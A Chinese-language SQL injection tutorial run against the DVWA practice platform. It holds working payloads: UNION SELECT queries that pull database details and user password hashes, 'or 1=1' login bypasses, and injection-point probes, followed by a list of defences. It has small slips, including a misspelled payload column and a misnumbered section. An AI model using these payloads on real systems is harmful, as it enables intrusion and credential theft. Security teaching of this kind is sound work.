前言
看到一篇不错的文章,特意学习并整理记录了下来,便于自己和广大网友查阅。
一、Sql注入简介
Sql注入攻击是通过将恶意的Sql查询或添加语句插入到应用的输入参数中,再在后台Sql服务器上解析执行进行的攻击,它目前是黑客对数据库进行攻击的最常用手段之一。
二、Web程序三层架构
三层架构(3-tier architecture)通常意义上就是将整个业务应用划分为:
- 界面层(User Interface layer)
- 业务逻辑层(Business logic layer)
- 数据访问层(Data access layer)
区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见的,也是最重要的一种结构被应用于众多类型的软件研发。
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:
- 表示层
- 业务逻辑层(又称领域层)
- 数据访问层(又称存储层)
拓扑结构如下图所示:
在上图中,用户访问实验楼主页进行了如下过程:
- 在Web浏览器中输入www.shiyanlou.com连接到实验楼服务器。
- 业务逻辑层的Web服务器从本地存储中加载index.php脚本并解析。
- 脚本连接位于数据访问层的DBMS(数据库管理系统),并执行Sql语句。
- 数据访问层的DBMS返回Sql语句执行结果给Web服务器。
- 业务逻辑层的Web服务器将Web页面封装成HTML格式并发送给表示层的Web浏览器。
- 表示层的Web浏览器解析HTML文件,并将内容展示给用户。
在三层架构中,所有通信都必须要经过中间层,简单的说,三层架构是一种线性关系。
三、Sql注入漏洞详解
3.1 Sql注入产生的原因及威胁:
刚刚讲过当我们访问动态网页时,Web服务器会向数据访问层发起Sql查询请求,如果权限验证通过就会执行Sql语句。
这种在网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的数据数据动态构造Sql语句,如果用户输入的数据被构造成恶意Sql代码,Web应用又未对动态构造的Sql语句使用的参数进行审查,则会带来意想不到的危险。
Sql注入带来的威胁主要有如下几点:
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,例如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作。
3.2 Sql注入示例一:猜解数据库
接下来我们通过有个示例,让你更加清楚的理解Sql注入猜解数据库是如何发生的。
使用DVWA渗透测试平台,作为攻击测试的目标:
先输入1,查看回显(URL中ID=1,说明php页面通过get方法传递参数):
那实际上后台执行了什么样的Sql语句呢?
点击view source查看源代码,其中的Sql查询代码为:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
可以看到,实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';
我们是通过控制参数id的值来返回我们需要额信息。
如果我们不按常理出牌,比如在输入框中输入1' order by 1#
,那么实际执行的Sql语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
这条语句的意思是查询users
表中user_id
为1的数据并按第一字段排行。
输入1' order by 1#
和1' order by 2#
时都返回正常:
当输入1' order by 3#
时,返回错误:
由此可知,users
表中只有两个字段,数据为两列。
接下来我们使用union select
联合查询继续获取信息。
union
运算符可以将两个或两个以上的select
语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用union查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为2,接下来就好办了。
输入1' union select database(), user()#
进行查询:
database()
将会返回当前网站所使用的数据库名字。user()
将会返回执行当前查询的用户名。
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
通过上图的返回信息,我们成功获取到:
- 当前网站使用数据库为dvwa。
- 当前执行查询用户名为root@localhost。
同理我们再输入1' union select version(), @@version_compile_os#
进行查询:
version()
获取当前数据库版本。@@version_compile_os
获取当前操作系统。
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
通过上图返回的信息,我们又成功的获取到:
- 当前数据库版本为:5.631-0ubuntu0.15.10.1。
- 当前操作系统为:debian-linux-gnu。
接下来我们尝试获取dvwa
数据库中的表名。
information_schema
是mysql自带的一张表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tabels
的数据表,该表包含两个字段table_name
和table_schema
,分别记录DBMS中的存储的表名和表名所在的数据库。
我们输入1' union select tabel_name, table_schema from information_schema.tables where table_schema = 'dvwa' #
进行查询:
实际执行的Sql语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回的信息,我们获取到:
- dvwa数据库有两个数据表,分别是
guestbook
和users
。
有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。
有经验我们可以大胆猜测users表的字段为user和password,所以我们输入1' union select user, password from users#
进行查询:
实际执行的Sql语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
可以看到成功爆出用户名、密码,并且密码是采用md5进行加密的,这个可以到www.cmd5.com
进行解密。
至此,同学们应该已经对Sql注入有了一个大概的了解,也清楚了Sql注入的强大。
4.3 Sql注入实例二:验证跳过
接下来我们再试试另一个利用Sql漏洞绕过登录验证的实例。
使用事先编写好的页面,这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名123和密码123登录:
从错误页面中我们无法获取到任何信息。
看看后台代码如何做验证的:
$sql = "select * from users where username = '$name' and password = '$pwd'";
实际执行的操作是:
select * from users where username='123' and password='123'
当查询到数据表中存在同时满足username
和password
字段时,会返回登陆成功。
按照第一个实例的思路,我们尝试在用户名中输入123' or 1=1 #,密码同样输入123' or 1=1 #
:
为什么能够登陆成功呢?因为实际的执行语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照Mysql语法,#后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西结果也是一样的):
select * from users where username='123' or 1=1
由于判断语句or 1=1
恒成立,所以结果当然返回真,成功登陆。
我们再尝试不使用#屏蔽单引号,采用手动闭合的方式:
我们尝试在用户名中输入123' or '1'='1
,密码同样输入123' or '1'='1
(不能少了单引号,否则会有语法错误):
实际执行的Sql语句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1
看到了吗?两个or
语句使and
前后两个判断永远恒等于True
,所以能够成功登陆。
好友很多其他的Mysql语句可以巧妙的绕过验证,同学们可以发散自己的思维进行尝试。
四、判断Sql注入点
通常情况下,可能存在Sql注入漏洞的Url是类似这种形式:
http://xxx.xxx.xxx/abcd.php?id=XX
对Sql注入的判断,主要有两个方面:
- 判断该带参数的Url是否存在Sql注入?
- 如果存在Sql注入,那么属于哪种Sql注入?
可能存在Sql注入攻击的ASP/PHP/JSP动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在Sql注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。
4.1 判断是否存在Sql注入漏洞
最为经典的单引号判断法:
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在Sql注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。(如果未报错,不代表不存在Sql注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,这里就不做深入讲解了,感兴趣的同学可以自行查资料)
4.2 判断Sql注入漏洞的类型
通常Sql注入漏洞分为2种类型:
- 数字型
- 字符型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所有就会产生注入点为何种类型的问题。
4.2.1 数字型判断:
当输入的参数x为整型时,通常abc.php
中的Sql语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的and 1=1
和and 1=2
来判断:
- 1、Url地址中输入
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。 - 2、Url地址中继续输入
http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此Sql注入为数字型注入。
原因如下:
当输入and 1=1
时,后台执行Sql语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入and 1=2
时,后台执行Sql语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将and语句全部转换为了字符串,并没有进行and的逻辑判断,结果应该为前后两次的查询都不会出现运行错误,故假设是不成立的。
4.2.2 字符型判断:
当输入的参数x为字符型时,通常abc.php
中Sql语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用and '1'='1
和and '1'='2
来判断:
- 1、Url地址中输入
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。 - 2、Url地址中继续输入
http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此Sql注入为字符型注入。
原因如下:
当输入 and '1'='1
时,后台执行Sql语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入and '1'='2
时,后台执行Sql语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确,同学们同样可以使用假设法来验证。
五、如何防范Sql注入攻击?
- 把应用服务器的数据库权限降至最低,尽可能地减少 SQL 注入攻击带来的危害;
- 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入;
- 对进入数据库的特殊字符(’#"\尖括号&*;等)进行转义处理,或编码转换;
- 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句;
- 在测试阶段,建议使用专门的 SQL 注入检测工具进行检测。网上有很多这方面的开源工具,例如
sqlmap
、SQLninja
等; - 善用数据库操作库,有些库包可能已经做好了相关的防护,我们只需阅读其文档,看是否支持相应的功能即可。
六、总结
好记性不如烂笔头,同理,再好的理论,不去实践,我们始终无法深刻地去体会其中的奥妙!
大家如果感兴趣,或者上述内容无法真实地体会其真谛,请访问如下网站进行实际操作:
https://www.shiyanlou.com/courses/876
注:本文内容仅供参考。
本文摘自:https://www.jianshu.com/p/078df7a35671